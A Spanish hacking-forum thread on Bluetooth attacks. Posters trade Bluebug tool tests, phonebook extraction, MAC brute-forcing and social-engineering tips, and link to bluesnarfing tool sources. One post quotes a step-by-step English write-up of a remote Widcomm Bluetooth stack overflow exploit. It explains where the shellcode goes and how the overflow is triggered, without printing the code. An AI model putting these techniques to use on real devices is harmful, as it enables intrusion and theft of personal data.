Gracias CrowDat por el aviso... yo me lo hubiera comido enterito, ya q no trabajo con máquinas virtuales, por mala suerte...

Ya hay q ser gentuza para colar un virus sustituyendo el programa original en la web oficial del creador. Por cierto, alguien ha avisado ya a este tipo? Findjmp es una buena herramienta para trabajar con exploits así q más de uno se ha tenido q llevar una sorpresa desagradable... 

Justamente hoy he llevado a cabo dos tests, uno con Blooover y otro con XBLUE (esa versión especial...).

Lanzo los ataques desde el 6600 al T68, en principio sin estar emparejados.

1) Blooover me dice q el teléfono no es vulnerable a Bluebug y falla al lanzar el ataque.

2) XBLUE me saca la información del chipset pero los servicios y el proceso de enviar el comando AT fallan. Si emparejo los dispositivos, entonces me saca los servicios con éxito y consigue enviar el comando AT de forma q el T68 inicia una llamada de voz.

Solución: Mi T68 no es vulnerable a Bluebug y me veo obligado a hacer un downgrade de firmware. De todas formas, estuve comparando mi versión de firmware con las versiones publicadas en thebunker y la mia es bastante posterior.

En cuanto consiga hacerle ese downgrade al firmware del T68 testeo las dos herramientas de ataque Bluebug y publico el review en mi blog

Aún así, ya he empezado a recopilar datos con el XBLUE para llenar la Base de Datos, aunq hoy no he encontrado muchos móviles con Bluetooth...

Salu2

PD: Gracias por enviarme esa versión especial. La verdad es q la aplicación está curradísima, no sólo a nivel de gráficos sino en cuanto a funcionalidad. Nada q ver con lo cutre q resulta ver el Blooover en acción. Felicidades!

Me ha llegado el siguiente email desde Bluetraq.

Se trata de la publicación de un exploit q permite ejecutar código arbitrario en Windows explotando una vulnerabilidad del servicio Bluetooth de Intercambio de tarjetas PIM, el cual no requiere autentificación.

have you ever been BluePIMped?

Exploiting The Widcomm BTStackServer by KF (kf_lists[at]digitalmunition[dot]com)
 
On August 12, 2004 Ryan Naraine of internetnews.com described a serious vulnerability in
Widcomm's widely deployed Bluetooth Connectivity Software. It was said that this new threat
could pave the way for the creation of a wireless worm that spreads between PCs or PDAs
using Bluetooth. (Queue scary music in the background). It is now over a year later and I
have yet to even see signs of an exploit, let alone a worm for either the PC or PDA.
<sarcasm> Consider this document as my donation of a small amount of tar to help pave the
road to a Widcomm Bluetooth worm.</sarcasm>

First let me outline how the Widcomm Bluetooth Stack works. Upon logging in to the Windows
desktop the binary BTTray.exe is launched via the '..\All Users\Start Menu\Programs\Startup'
startup folder. BTTray is responsible for two major tasks, one being the presentation of the
Bluetooth icon in the systray and the other being the launch of BTStackServer.exe. BTTray.exe
also handles events such as informing the user that someone has connected to a particular
Bluetooth service.

Several profiles are offered by the 'Local Services' menu within the BTTray Bluetooth
Configuration screen. Several of the services require pairing prior to use, however by default
no secure connection is required for the PIM Item Transfer. The lack of PIM Transfer security
is likely due to this profile being commonly used to exchange business cards. The lack of a
secure connection will pretty much allow any Bluetooth user to connect to the PIM Item
Transfer service.

Although not explicitly disclosed one of the various malformed service requests that Pentest
Limited discovered was directed at the PIM Item Transfer service. As mentioned in their
advisory Pentest Limited has written a proof of concept exploit for Windows XP and again
although not explicitly disclosed this exploit was for the PIM Item Transfer service. After
many months of frustration and hurdles I have come up with a fairly stable means of blindly
recreating the work of Pentest Limited.

My early work on this project attempted to use a single Unicode encoded buffer to both trigger
this exploit and carry its payload. This technique was completely abandonded after an off the
cup comment about client side Unicode made me come to my senses. One little call to
OBEX_CharToUnicode() can change the playing field quite a bit.

The mechanics of my current exploit are as follows:
1. Use the ascii buffer used for Bluetooth device name to store shellcode. We have up to 248
   bytes.
2. Populate HKLM\SOFTWARE\Widcomm\BTConfig\Devices\XX:XX:XX:XX:XX:XX\Name on remote device with
   shellcode
3. Make use of the remote filename field to trigger the overflow and to hold the repeated
   return addresses
4. Deliver a payload of goodies for all to enjoy.

The first phase of the exploit ensures that we have shellcode in memory at the time we activate
the EIP address. This is done by sending a valid file via PIM Transfer. When a connection is made
the registry is queried for the device name. If this name exists it will be used in the
notification balloon that indicates a connection was made. If no registry entry is available
<No Name> will be used and a query to resolve the name will be placed.

This portion of the population phase can be recognised by the following message.
Bluetooth device '<No Name>' is connected to the 'PIM Item Transfer' service on this computer.

At this point as mentioned above a call has been made to resolve the Bluetooth name of the remote
device that connected to the PIM Transer service. Once this call has been completed the name will
be stored in the registry location shown below. Upon subsequent connections this entry will be
displayed in the notification balloon.

Below is an example of MsgBox shellcode from Skylined encoded via ShikataGaNai as it is stored in
the registry after a name resolution.

Next a secondary connection is made in order to actually trigger the overflow. This connection
consists of our desired return address repeated over and over being cramed into the remote file
name buffer. During the study of different exploitation attempts I found that my return address
was not often alligned as I expected or in the location that I expected. I found that repeating it
over and over helped stabilize my attempts. Deciding upon a static length for the filename also
seemed to help keep things alligned properly. The initial 272 bytes I send as a repeated return
address seems to be duplicated several times in succession in memory. The EIP seemes to be chosen
semi randomly from the area below represented in the block of memory between 0x0053C9F7 and
0x0053CCF7.

Please note that some of the bytes were corrupted above. In some cases 0x07 and 0xff randomly
overwrote portions of our string. This would obviously corrupt any shellcode that was put into
this buffer. After I stopped trying to cram shellcode here I found that on occasion this also
caused undesired return addresses to be used rather than the one I specified. The letter "Z" is
in some cases prepended to our buffer to help compensate for the corruption.

Once the return address has been stabilized things should look similar to the following upon
EIP activation.

EAX 00000004
ECX 00008000
EDX 00000036
EBX 0038F6E8 ASCII "0"
ESP 01F7FF3C
EBP 01F7FF80
ESI 0038C510 ASCII "("
EDI 00000001
EIP 41424344

Our shellcode seems to be in several locations however only a few of them do not contain nulls.
Across multiple versions and service packs the shellcode consistantly lands on an address with
3 static bits 0x01??f74e. You can see this trend below in the targets section from my exploit.
The shellcode location should contain the contents of the Bluetooth device name as it was stored
in the registry.

With a debugger attached to BTStackServer.exe we can attempt to activate the EIP and point it at
our shellcode.

After the malformed request is sent my debugger paused with an Access violation when writing to
[00713000]. You can safely pass this exception on to the program. This is a good time to verify
that your shellcode is where you expect it to be.

Immediately after passing the exception control should be handed over to us. We should jump into
the code we stored in the Bluetooth name buffer. Skylined's code will to do its magic and the real
intent of our payload is revealed.

At this point the user of the machine should be greeted with a nice message box window titled
"CATS:" with the message "ALL YOUR BLUETOOTH ARE BELONG TO US.". Obviously any payload can be
plugged into the exploit keeping in mind space limitations of the various buffers.

In an ideal situation the initial phase that places the shellcode in the registry should be
used as an chance to upload a binary with some sort of backdoor functionality as well as a
scripted procedure to kill BTTray and restart it. Any uploaded binary would reside in
"%USERPROFILE%"\mydocu~1\blueto~1 by default so shellcode that can resolve that path and execute
a binary there would be very useful (hint hint email me some shellcode if anyone is bored).

I have toyed around with payloads that flip a few bits in SOFTWARE\Widcomm\BTConfig\Services\\000?,
SOFTWARE\Widcomm\General\UseFixedPIN and SOFTWARE\Widcomm\General\PinCode. However I have not yet
come upon a payload that would be as functional as %USERPROFILE% execution code.

I hope this document will help clear up some of the myths about the potential wormability of the
Widcomm Bluetooth bugs. I also hope that Vendors that still distribute dongles with vulnerable
software will step up to the plate and help eliminate this threat. Vendors...please put an end to
the license.dat issues that prevent so many users from upgrading their Widcomm software.

De nada!

Lo único q he hecho ha sido modificar una herramienta ya existente q te sacaba la agenda por infrarrojos. Yo le he dado más funcionalidad y lo he portado a bluetooth.
El código en el q me he basado es GPL, así q cuando publique la herramienta también publicaré la modificación del código fuente...

Lo único q esta herramienta es para pocket pc, q la gente no suele tener asi como así... Si buscas algo más mundano, cualquier móvil Symbian te servirá para testear un ataque bluebug, aunq solo como "prueba de concepto", ya me entiendes.
Para Symbian tienes el Blooover de Trifinite y, por supuesto, el XBLUE desarrollado por Sir Graham y su gente @ endorasoft. Recomiendo XBLUE pq tiene un poco más de funcionalidad q el blooover y la aplicación está mucho más optimizada al no correr en java...

PD: Creo q Sir Graham también va a publicar ese código fuente mágico multiplataforma, no es así? jejejee.e..

La herramienta de ataque bluebug para PDA la publicaré dentro de no mucho, pero te aseguro q no te va a funcionar con ningún teléfono sin previa autentificación y emparejamiento. Si puedes saltarte estas dos medidas de seguridad mediante ingeniería social si q puedes extraer datos...

Esta herramienta de ataque para PDA simplemente porta a entorno Pocket PC un ataque básico bluebug como el q se puede hacer en Windows con hyperterminal o en linux con cu.

Salu2

Yo hice un test con mi aplicación de bluebug para pda con un 6230 y funcionó!! Me sacó toda la agenda.

También es cierto q el usuario de ese móvil me dijo q le habia venido con una aplicación de Nokia q le permitía gestionar la agenda y los sms de su móvil desde su PC con Bluetooth. A través de ATs?? Supongo...

Salu2

Yo ya he hecho mis pruebas con el 6820 y siento decirte q ese modelo no soporta el bloque de comandos AT para gestión de la agenda. Sólo soporta el bloque básico y el bloque de gestión de SMS.

Salu2

Pues claro!! Vas al menú de opciones de tu móvil y cambias la opción "estado visible solo para dispositivos emparejados" por "estado visible para todos los dispositivos".
Remotamente no se puede, si te refieres a eso...

Para poder detectar un teléfono móvil en modo oculto, debes emplear fuerza bruta con MACs hasta dar con aquella que te responda al ping.

PD: Take it easy, man! Puedes postear todas las dudas q tengas, pero intenta buscar primero por google para q tus posts tengan algo más de contenido, pq no creo q venga nadie y te explique al dedillo como funciona el cabir por la cara...

Gracias por leerte las normas antes de postear...

Dos códigos en C para linux:

http://trifinite.org/Downloads/carwhisperer-0.1.tar.gz
http://www.alighieri.org/tools/bluesnarfer.tar.gz

Mírate la documentación q llevan.

Se pueden compilar con gcc, pero necesitas tener instalada la libreria bluez-devel-libs.

En Windows, pues no sé si habrá algo por ahi, ni idea...
En mobile, tienes el Blooover de trifinite, pero te dan el .jar ya compilado y si quieres obtener las clases tienes q desensamblarlo.
